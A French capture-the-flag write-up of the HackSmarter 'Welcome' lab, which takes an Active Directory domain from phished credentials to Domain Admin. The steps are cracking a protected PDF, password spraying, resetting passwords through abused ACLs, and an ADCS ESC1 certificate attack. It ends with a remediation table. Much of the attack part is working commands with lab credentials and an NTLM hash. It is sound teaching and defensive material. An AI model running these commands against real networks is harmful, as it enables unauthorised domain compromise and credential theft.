Lab Welcome : PDF Cracking, Password Spraying et ESC1 vers l'Administrateur du Domaine
Pentest Active Directory en scénario assumed breach avec des credentials de phishing : découverte d'un PDF protégé sur un partage RH révélant le mot de passe par défaut de l'entreprise, password spraying réussi sur un compte, abus d'une double chaîne d'ACL (GenericAll puis ForceChangePassword) cartographiée avec BloodHound, et élévation finale à l'Administrateur du domaine via une vulnérabilité ESC1 sur un template de certificat ADCS.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | HackSmarter |
| Lien | Accéder au lab |
| Cible | DC01.WELCOME.local, 10.1.53.70 |
| OS | Windows Server 2022 (Build 20348) |
| Domaine | WELCOME.local |
| Difficulté | Facile |
Scénario : en tant que membre de la Hack Smarter Red Team, un engagement de phishing a permis de récupérer des credentials valides pour l'environnement Active Directory du client (e.hills:Il0vemyj0b2025!). L'objectif est d'énumérer l'environnement, d'élever ses privilèges et de démontrer l'impact final auprès du client.
Kill chain :
Assumed breach (e.hills)
│
▼
Partage HR → PDF protégé → pdf2john + crack → Mot de passe par défaut
│
▼
Password Spraying → a.harris (mdp par défaut) → Evil-WinRM → Flag user
│
▼
BloodHound → Chaîne ACL : a.harris → GenericAll i.park → ForceChangePassword svc_ca
│
▼
bloodyAD → Reset mdp de i.park puis de svc_ca
│
▼
certipy-ad find → ADCS ESC1 détecté sur template
│
▼
ESC1 → Certificat Administrator → PKINIT → Hash NTLM → Flag root
1. Reconnaissance
rustscan -b 500 -a 10.1.53.70 -- -sC -sV -Pn
Output (extrait) :
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: WELCOME.local)
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Issuer: commonName=WELCOME-CA/domainComponent=WELCOME
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap
3268/tcp open ldap
3269/tcp open ssl/ldap
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
Host script results:
| smb2-security-mode:
|_ Message signing enabled and required
Analyse :
Signature classique d'un contrôleur de domaine : WELCOME.local, machine DC01, Windows Server 2022. Un détail mérite une attention immédiate : le certificat SSL présenté sur LDAPS est émis par WELCOME-CA, un émetteur qui n'est pas une CA publique. C'est la preuve directe qu'Active Directory Certificate Services (ADCS) est déployé dans ce domaine. À garder en tête : toute compromission d'un compte lié aux certificats prendra une importance particulière plus loin dans l'attaque.
echo "10.1.53.70 DC01.WELCOME.local WELCOME.local DC01" | sudo tee -a /etc/hosts
2. Énumération Initiale avec les Credentials Fournis
Le scénario étant assumed breach, inutile de tester les sessions anonyme/invité. On part directement des credentials e.hills:Il0vemyj0b2025!.
ldapsearch -x -H ldap://WELCOME.local -D "e.hills@WELCOME.local" -w 'Il0vemyj0b2025!' \
-b "DC=WELCOME,DC=local" "(sAMAccountName=e.hills)"

Le compte e.hills n'appartient à aucun groupe particulier et ne présente aucun attribut exploitable directement. La nécessité de pivoter vers un autre compte se confirme d'entrée.
Partages SMB
nxc smb 10.1.53.70 -u e.hills -p 'Il0vemyj0b2025!' --shares --smb-timeout 30
SMB 10.1.53.70 445 DC01 [+] WELCOME.local\e.hills:Il0vemyj0b2025!
SMB 10.1.53.70 445 DC01 Share Permissions Remark
SMB 10.1.53.70 445 DC01 ADMIN$ Remote Admin
SMB 10.1.53.70 445 DC01 C$ Default share
SMB 10.1.53.70 445 DC01 Human Resources READ
SMB 10.1.53.70 445 DC01 IPC$ READ Remote IPC
SMB 10.1.53.70 445 DC01 NETLOGON READ Logon server share
SMB 10.1.53.70 445 DC01 SYSVOL READ Logon server share
Un partage non standard, Human Resources, apparaît en lecture. Avant de l'explorer, on complète l'énumération avec la liste des utilisateurs.
Utilisateurs
nxc smb WELCOME.local -u e.hills -p 'Il0vemyj0b2025!' --users --smb-timeout 30
SMB 10.1.53.70 445 DC01 [+] WELCOME.local\e.hills:Il0vemyj0b2025!
SMB 10.1.53.70 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.1.53.70 445 DC01 Administrator 2025-09-13 16:24:04 0 Built-in account for administering the computer/domain
SMB 10.1.53.70 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.1.53.70 445 DC01 krbtgt 2025-09-13 16:40:39 0 Key Distribution Center Service Account
SMB 10.1.53.70 445 DC01 e.hills 2025-09-13 20:41:15 0
SMB 10.1.53.70 445 DC01 j.crickets 2025-09-13 20:43:53 0
SMB 10.1.53.70 445 DC01 e.blanch 2025-09-13 20:49:13 0
SMB 10.1.53.70 445 DC01 i.park 2025-09-14 04:23:03 0 IT Intern
SMB 10.1.53.70 445 DC01 j.johnson 2025-09-13 20:58:15 0
SMB 10.1.53.70 445 DC01 a.harris 2025-09-13 20:59:13 0
SMB 10.1.53.70 445 DC01 svc_ca 2025-09-14 00:19:35 0
SMB 10.1.53.70 445 DC01 svc_web 2025-09-13 21:40:40 0 Web Server in Progress
SMB 10.1.53.70 445 DC01 [*] Enumerated 11 local users: WELCOME
Deux comptes se distinguent par leur description : i.park (stagiaire IT) et svc_ca (dont le nom évoque directement un lien avec la CA repérée en reconnaissance).
ASREPRoast et Kerberoasting
On teste les deux vecteurs Kerberos classiques sur l'ensemble de la liste :
impacket-GetNPUsers WELCOME.local/ -usersfile users.txt -dc-ip 10.1.53.70 \
-format hashcat -request -outputfile ASREProastables.txt
[-] User e.hills doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.crickets doesn't have UF_DONT_REQUIRE_PREAUTH set
[...] (idem pour tous les autres comptes)
impacket-GetUserSPNs WELCOME.local/e.hills:'Il0vemyj0b2025!' -dc-ip 10.1.53.70 \
-request -outputfile kerberoastables.txt
No entries found!
Aucun compte vulnérable dans les deux cas. La seule piste restante est le partage Human Resources.
3. Exploration du Partage Human Resources
smbclient //WELCOME.local/'Human Resources' -U e.hills%'Il0vemyj0b2025!'

Le partage contient plusieurs PDF. La majorité sont des notes RH génériques sans intérêt, à l'exception d'un fichier protégé par mot de passe : Welcome Start Guide.pdf.
Cassage du PDF
Un PDF protégé par mot de passe utilise un algorithme de chiffrement (RC4 ou AES selon la version du standard) dont les paramètres de dérivation de clé (sel, nombre d'itérations, clé de chiffrement du propriétaire) sont stockés dans le fichier lui-même. L'outil pdf2john extrait ces paramètres et les reformate dans un format que John the Ripper sait attaquer par dictionnaire, exactement comme pour un hash de mot de passe classique.
# Utiliser pdf2john pour extraire les paramètres de dérivation de clé du PDF
pdf2john "Welcome Start Guide.pdf" > file.hash
# Utiliser John the Ripper pour casser le mot de passe en utilisant le dictionnaire rockyou
john --wordlist=/usr/share/wordlists/rockyou.txt file.hash

Mot de passe du PDF : humanresources
Une fois déverrouillé, le document révèle un mot de passe par défaut utilisé par l'entreprise pour les nouveaux comptes :

L'hypothèse est immédiate : dans un environnement de plusieurs dizaines de comptes, il est statistiquement probable qu'au moins un utilisateur n'ait jamais changé ce mot de passe par défaut après sa création.
4. Password Spraying
nxc smb WELCOME.local -u users.txt -p 'Welcome2025!@' --continue-on-success --smb-timeout 30

Le compte a.harris n'a visiblement jamais mis à jour son mot de passe par défaut.
a.harris : Welcome2025!@
5. Accès WinRM et Flag Utilisateur
ldapsearch -x -H ldap://WELCOME.local -D "e.hills@WELCOME.local" -w 'Il0vemyj0b2025!' \
-b "DC=WELCOME,DC=local" "(sAMAccountName=a.harris)"

a.harris est membre du groupe Remote Management : une connexion WinRM est donc directement possible.
evil-winrm -u a.harris -i WELCOME.local -p 'Welcome2025!@'

Le flag utilisateur est récupéré sur le bureau.

L'utilisateur ne disposant pas de privilèges notables au-delà de cet accès, on bascule sur BloodHound pour obtenir une vue d'ensemble du domaine.

6. Cartographie BloodHound
bloodhound-ce-python -u 'e.hills' -p 'Il0vemyj0b2025!' -d WELCOME.local -ns 10.1.234.51 -c All
D'abord on voit qu'on a un seul admin(le compte Builtin Administrator)

L'analyse révèle un chemin exploitable en deux maillons depuis a.harris :
a.harris ∈ groupe HR ──(GenericAll)──▶ i.park ∈ groupe Helpdesk ──(ForceChangePassword)──▶ svc_ca / svc_web
a.harris, via son appartenance au groupe HR, dispose d'un droit GenericAll (contrôle total, incluant la réinitialisation de mot de passe) sur le compte i.park.

Ce dernier, via le groupe Helpdesk, dispose à son tour du droit ForceChangePassword sur deux comptes de service : svc_ca et svc_web.

Compromission de i.park
bloodyad -d WELCOME.local -u a.harris -p 'Welcome2025!@' --host 10.1.234.51 \
set password i.park 'Welcome2025!@'
[+] Password changed successfully!
nxc smb WELCOME.local -u i.park -p 'Welcome2025!@' --shares --smb-timeout 30
Les credentials sont valides. i.park confirme son appartenance au groupe Helpdesk et son droit ForceChangePassword sur svc_web et svc_ca.
Choix de la cible : on ne compromet que svc_ca. Son appartenance au groupe Certificate Secrvice DCOM Access le lie directement au groupe des certificats (piste cohérente avec la CA WELCOME-CA repérée en reconnaissance), tandis que svc_web est explicitement décrit comme "Web Server in Progress", un service inachevé donc peu susceptible d'offrir un chemin d'attaque exploitable.


Compromission de svc_ca
bloodyad -d WELCOME.local -u i.park -p 'Welcome2025!@' --host 10.1.234.51 \
set password svc_ca 'Welcome2025!@'
[+] Password changed successfully!
svc_ca : Welcome2025!@
7. Cartographie des Certificats
Référence : AD CS, principes et fonctionnement - Vaadata
svc_ca étant lié au groupe certificats, on cartographie les templates disponibles et on filtre directement ceux qui sont vulnérables avec Certipy :
certipy-ad find -u 'svc_ca' -p 'Welcome2025!@' -dc-ip 10.1.234.51 \
-target-ip 10.1.234.51 -vulnerable -stdout

Le résultat pointe un template vulnérable : ESC1.
8. ESC1 : Exploitation
Référence : AD CS Security, Understanding and Exploiting ESC Techniques - Vaadata
Comprendre ESC1
ESC1 est une vulnérabilité de misconfiguration de template de certificat dans ADCS. Elle repose sur la réunion de quatre conditions sur un même template :
- Enrollment rights excessifs : un utilisateur non privilégié (ou un groupe large comme "Domain Users") dispose du droit
Enrollsur le template. ENROLLEE_SUPPLIES_SUBJECTactivé : le demandeur peut spécifier lui-même le Subject Alternative Name (SAN) de sa requête, au lieu que ce soit l'AD qui l'impose automatiquement.- Authentification activée : le template inclut un EKU (Extended Key Usage) autorisant l'authentification (Client Authentication, Smart Card Logon, ou "Any Purpose").
- Pas d'approbation manager requise : le certificat est émis automatiquement, sans validation humaine.
Pourquoi c'est exploitable : normalement, le SAN d'un certificat (l'identité qu'il représente) est fixé par l'autorité de certification en fonction du compte qui soumet la requête. Mais si le template autorise le demandeur à fournir lui-même ce SAN, un utilisateur standard peut demander un certificat en indiquant n'importe quelle identité, y compris celle d'un compte Domain Admin. L'ADCS, faisant confiance à la valeur soumise, émet un certificat valide pour cette identité usurpée.
Le flux de l'attaque :
1. Construction de la requête : SAN = "administrator@domain.local"
2. Soumission via Certipy : le template accepte, aucune vérification du SAN fourni
→ un certificat valide au nom d'Administrator est émis
3. Authentification Kerberos PKINIT avec ce certificat
→ le KDC valide la chaîne de confiance de la CA légitime
→ délivre un TGT pour Administrator + le hash NTLM associé (via U2U/PAC)
4. Compromission totale : Pass-the-Hash / Pass-the-Ticket → DCSync, accès total au domaine
Exploitation
Étape 1, soumission de la requête de certificat en spécifiant nous-mêmes l'UPN cible :
certipy-ad req -u 'svc_ca' -p 'Welcome2025!@' -ca WELCOME-CA -target-ip 10.1.234.51 \
-template Welcome-Template -upn 'Administrator@WELCOME.local'

La requête est acceptée sans vérification du SAN soumis, conformément à la condition 2 d'ESC1. Un fichier administrator.pfx est généré.
Étape 2, authentification Kerberos avec le certificat obtenu :
certipy-ad auth -pfx administrator.pfx -dc-ip 10.1.234.51

Le KDC valide le certificat et retourne le hash NTLM de l'Administrateur.
9. Flag Root
evil-winrm -u Administrator -i 10.1.234.51 -H '0cf1b799460a39c852068b7c0574677a'

Le flag root est récupéré sur le bureau de l'Administrateur. Compromission totale du domaine.
10. Conclusion et Remédiation
Kill Chain Complète
1. e.hills → accès partage Human Resources
2. PDF crack → mot de passe par défaut de l'entreprise (humanresources)
3. Password Spraying → compromission de a.harris (Flag user)
4. BloodHound → chaîne ACL : a.harris → GenericAll i.park → ForceChangePassword svc_ca
5. bloodyAD → compromission de i.park puis de svc_ca
6. certipy-ad find → template ESC1 vulnérable
7. ESC1 → certificat Administrator → PKINIT → hash NTLM → Flag root
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Document sensible sur partage RH | Un PDF protégé par un mot de passe faible expose le mot de passe par défaut de l'entreprise | Ne jamais documenter de mots de passe, même par défaut, dans des fichiers partagés. Utiliser un coffre de secrets pour l'onboarding |
| Mot de passe par défaut non changé | a.harris conserve le mot de passe par défaut attribué à sa création | Forcer le changement de mot de passe à la première connexion (pwdLastSet=0) et auditer les comptes n'ayant jamais changé leur mdp |
| GenericAll délégué au groupe HR | Le groupe HR dispose d'un contrôle total sur des comptes hors de son périmètre métier | Restreindre les délégations aux seuls attributs strictement nécessaires (ex: unlockAccount plutôt que GenericAll) |
| ForceChangePassword délégué au Helpdesk | Le groupe Helpdesk peut réinitialiser le mot de passe de comptes de service sensibles | Limiter les droits du Helpdesk aux comptes utilisateurs standards, jamais aux comptes de service liés à l'infrastructure critique |
Template ESC1 (Welcome-Template) | Enrollment excessif + SAN fourni par le demandeur + authentification + pas d'approbation | Retirer ENROLLEE_SUPPLIES_SUBJECT, restreindre les droits d'enrollment aux comptes réellement autorisés, exiger l'approbation manager |
[!NOTE] Ce lab illustre comment une simple erreur de traitement documentaire (un PDF protégé par un mot de passe trop faible pour survivre à rockyou.txt) peut amorcer une chaîne complète de compromission. Chaque maillon pris isolément semble mineur : un mot de passe par défaut non changé, une délégation ACL un peu trop large, un template de certificat mal configuré. Combinés, ils mènent à l'Administrateur du domaine.
Writeup rédigé par Zcook
